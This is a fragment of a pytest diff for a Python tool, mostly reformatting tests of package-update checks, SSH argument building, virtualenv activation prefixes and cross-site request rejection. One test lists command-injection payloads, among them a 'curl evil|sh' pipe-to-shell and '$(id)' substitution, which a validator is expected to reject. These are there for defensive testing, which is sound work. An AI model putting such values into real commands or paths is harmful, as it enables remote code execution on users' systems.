status = _package_pip_update_status(
{"name": "llama_cpp", "pip": "llama-cpp-python[server]"}, probe
)
assert status.available is False
assert "package manager or source checkout" in status.note
def test_apfel_does_not_use_generic_outside_odysseus_note(self):
status = _package_pip_update_status(
{"name": "APFEL", "pip": "", "update_cmd": "brew upgrade apfel"},
{"binaries": {}, "dists": {}, "modules": {}},
)
assert status.available is False
assert "Update this system dependency outside Odysseus." not in status.note
def test_diffusers_requires_torch_too(self):
missing_torch = {
"modules": {"diffusers": {"found": True, "real_module": True}, "torch": {"found": False}},
"modules": {
"diffusers": {"found": True, "real_module": True},
"torch": {"found": False},
},
"dists": {"diffusers": "0.37.0"},
"binaries": {},
}
ready = {
"modules": {"diffusers": {"found": True, "real_module": True}, "torch": {"found": True, "real_module": True}},
"modules": {
"diffusers": {"found": True, "real_module": True},
"torch": {"found": True, "real_module": True},
},
"dists": {"diffusers": "0.37.0", "torch": "2.10.0"},
"binaries": {},
}
@@ -293,7 +380,11 @@ class TestPackageProbeStatus:
class TestSshBaseArgv:
def test_basic_host_no_port(self):
assert _ssh_base_argv("user@example.com", None) == [
"ssh", "-o", "ConnectTimeout=6", "-o", "StrictHostKeyChecking=no",
"ssh",
"-o",
"ConnectTimeout=6",
"-o",
"StrictHostKeyChecking=no",
"user@example.com",
]
@@ -329,16 +420,21 @@ class TestVenvActivatePrefix:
assert _venv_activate_prefix("~/venv") == ". ~/venv/bin/activate && "
def test_already_pointing_at_activate(self):
assert _venv_activate_prefix("/opt/v/bin/activate") == ". /opt/v/bin/activate && "
assert (
_venv_activate_prefix("/opt/v/bin/activate") == ". /opt/v/bin/activate && "
)
@pytest.mark.parametrize("bad", [
"/opt/v && curl evil|sh",
"$(id)",
"`id`",
"v;id",
"v\nid",
"v|id",
])
@pytest.mark.parametrize(
"bad",
[
"/opt/v && curl evil|sh",
"$(id)",
"`id`",
"v;id",
"v\nid",
"v|id",
],
)
def test_injection_payloads_rejected(self, bad):
with pytest.raises(ValueError):
_venv_activate_prefix(bad)
@@ -351,6 +447,7 @@ class TestRejectCrossSite:
def test_cross_site_rejected(self):
from fastapi import HTTPException
with pytest.raises(HTTPException) as exc:
_reject_cross_site(self._req({"sec-fetch-site": "cross-site"}))
assert exc.value.status_code == 403